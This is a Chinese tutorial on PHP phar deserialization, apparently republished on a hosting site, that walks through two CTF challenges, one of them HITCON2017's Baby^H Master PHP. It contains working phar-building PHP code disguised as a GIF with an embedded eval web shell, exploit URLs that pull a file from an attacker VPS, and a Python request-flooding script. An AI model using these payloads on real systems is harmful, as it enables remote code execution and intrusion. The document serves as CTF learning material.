您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關PHP反序列化入門中phar是什么,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
簡單來說
phar
就是php
壓縮文檔。它可以把多個文件歸檔到同一個文件中,而且不經過解壓就能被 php 訪問并執行,與file://
php://
等類似,也是一種流包裝器。
phar
結構由 4 部分組成
stub
phar 文件標識,格式為xxx<?php xxx; __HALT_COMPILER();?>;
manifest
壓縮文件的屬性等信息,以序列化存儲;
contents
壓縮文件的內容;
signature
簽名,放在文件末尾;這里有兩個關鍵點,一是文件標識,必須以
__HALT_COMPILER();?>
結尾,但前面的內容沒有限制,也就是說我們可以輕易偽造一個圖片文件或者phar
存儲的meta-data
信息以序列化方式存儲,當文件操作函數通過phar://
偽協議解析phar
文件時就會將數據反序列化,而這樣的文件操作函數有很多。
以上內容摘自:由 PHPGGC 理解 PHP 反序列化漏洞 。接下來,我們還是通過兩個CTF題目來學習phar反序列化的利用。
這題比較簡單,可以直接生成 phar 文件,然后利用網站的上傳圖片功能,結合 第11行 的 file_exists 函數進行phar反序列化利用,生成代碼如下:
<?php // phar.readonly無法通過該語句進行設置: init_set("phar.readonly",0); class MyClass{ var $output = '@eval($_GET[_]);'; } $o = new MyClass(); $filename = 'poc.phar';// 后綴必須為phar,否則程序無法運行 file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?>
這題選用 HITCON2017 中的 Baby^H Master PHP 2017 一題進行學習,題目點 這里 下載。
題目的意思很明確,要我們利用 Admin 類的 __destruct 方法來獲得 flag 。但是 第20行 的 $random 變量我們無法獲得,這樣也就無法獲得 flag ,所以我們要通過匿名類的名字來調用 flag 生成函數。
我們可以看看 create_function 函數對應的內核源碼。( php-src/Zend/zend_builtin_functions.c:1901 )
可以看到匿名函數的名字類似于 \0lambda_%d ,其中 %d 為數字,取決于進程中匿名函數的個數,但是我們每訪問一次題目,就會生成一個匿名函數,這樣匿名函數的名字就不好控制。這里,我們便要引入 apache-prefork 模型(默認模型)介紹(關于該模型的介紹,可以參考: Apache的三種MPM模式比較:prefork,worker,event )。當用戶請求過大時,超過 apache 默認設定的閥值時,就會啟動新的線程來處理請求,此時在新的線程中,匿名函數的名字又會從1開始遞增,這樣我們就容易猜測匿名函數的名字了。
接下來我們就來找反序列化的利用點,我們很快看到 第35行 反序列化了一個可控的 $data 變量,但是上一行有一個 hash_equals 函數進行了數據校驗,而 $SECRET 的值不可知,這就沒法利用這一反序列化點。接著我們會看到 第40行 有一個上傳 gif 文件功能,且 $data 變量可控。那么攻擊思路就是,我們先通過將構造好的 phar 文件傳到服務器上,再利用可控的 $_GET["url"] 結合 phar 協議,進行反序列化。用于生成 phar 的代碼如下:
<?php // phar.readonly無法通過該語句進行設置: init_set("phar.readonly",0); class User { public $avatar; function __construct($path) { $this->avatar = 'avatar.gif'; } } class Admin extends User { } $o = new Admin(); $filename = 'avatar.phar'; file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?>
將生成的 avatar.phar 放在自己的 VPS 上并重命名成 avatar.gif ,然后將文件上傳到題目服務器上:
http://題目IP/index.php?m=upload&url=http://VPS_IP/
接著,我們需要通過大量請求,使 apache 重新開啟一個新的線程,然后訪問如下 url 即可完成反序列化并獲得 flag :
http://題目IP/index.php?m=upload&url=phar:///var/www/data/xxxx/&lucky=%00lambda_1
關于 phar 更深的利用,可以參考這篇文章:Phar與Stream Wrapper造成PHP RCE的深入挖掘
import requests import socket import time from multiprocessing.dummy import Pool as ThreadPool try: requests.packages.urllib3.disable_warnings() except: pass def run(i): while 1: HOST = '127.0.0.1' PORT = 8000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall('GET /avatar.gif HTTP/1.1\nHost: localhost\nConnection: Keep-Alive\n\n') # s.close() print 'ok' time.sleep(0.5) i = 8 pool = ThreadPool( i ) result = pool.map_async( run, range(i) ).get(0xffff)
關于PHP反序列化入門中phar是什么就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。